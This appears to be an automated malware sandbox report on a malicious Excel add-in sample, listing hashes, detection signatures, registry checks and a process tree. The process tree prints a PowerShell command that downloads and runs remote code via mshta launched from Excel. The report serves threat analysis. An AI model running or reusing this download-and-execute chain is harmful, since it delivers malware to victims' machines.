Analysis
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max time kernel
138s -
max time network
127s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 18:53
Static task
static1
Behavioral task
behavioral1
Sample
8c892c2c62941be59ece9f17ec82516cc5da2de3c3095e14ce0341133aa975f5.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
8c892c2c62941be59ece9f17ec82516cc5da2de3c3095e14ce0341133aa975f5.xll
Resource
win11-20240419-en
General
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Target
8c892c2c62941be59ece9f17ec82516cc5da2de3c3095e14ce0341133aa975f5.xll
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Size
12KB
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MD5
9b587fbef38f14176802b14945207b85
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SHA1
a54ed40ffa2fe39432fbc9c79533a3f540c601a1
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SHA256
8c892c2c62941be59ece9f17ec82516cc5da2de3c3095e14ce0341133aa975f5
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SHA512
75dc9d775d1a79d9fa9f96ff695a448f8b8063ca597a15a66db6e26d38f10acfde26e12193ba63b6315696daf28196a683c6640b726cd132db5a3cf1199348d7
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SSDEEP
192:aL29RBzDzeobchBj8JONRONeruNrEPEjr7Ah2:E29jnbcvYJOq0uNvr7C2
Malware Config
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 1144 3412 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 37 3204 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1162180587-977231257-2194346871-1000\Control Panel\International\Geo\Nation mshta.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 3412 EXCEL.EXE 3412 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3412 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 3204 powershell.exe 3204 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3204 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
Processes:
EXCEL.EXEpid process 3412 EXCEL.EXE 3412 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 3412 EXCEL.EXE 3412 EXCEL.EXE 3412 EXCEL.EXE 3412 EXCEL.EXE 3412 EXCEL.EXE 3412 EXCEL.EXE 3412 EXCEL.EXE 3412 EXCEL.EXE 3412 EXCEL.EXE 3412 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 3412 wrote to memory of 1144 3412 EXCEL.EXE mshta.exe PID 3412 wrote to memory of 1144 3412 EXCEL.EXE mshta.exe PID 3412 wrote to memory of 1144 3412 EXCEL.EXE mshta.exe PID 1144 wrote to memory of 3204 1144 mshta.exe powershell.exe PID 1144 wrote to memory of 3204 1144 mshta.exe powershell.exe PID 1144 wrote to memory of 3204 1144 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8c892c2c62941be59ece9f17ec82516cc5da2de3c3095e14ce0341133aa975f5.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3412 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1144 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3204
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\8c892c2c62941be59ece9f17ec82516cc5da2de3c3095e14ce0341133aa975f5.xll
Filesize12KB
MD59b587fbef38f14176802b14945207b85
SHA1a54ed40ffa2fe39432fbc9c79533a3f540c601a1
SHA2568c892c2c62941be59ece9f17ec82516cc5da2de3c3095e14ce0341133aa975f5
SHA51275dc9d775d1a79d9fa9f96ff695a448f8b8063ca597a15a66db6e26d38f10acfde26e12193ba63b6315696daf28196a683c6640b726cd132db5a3cf1199348d7
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82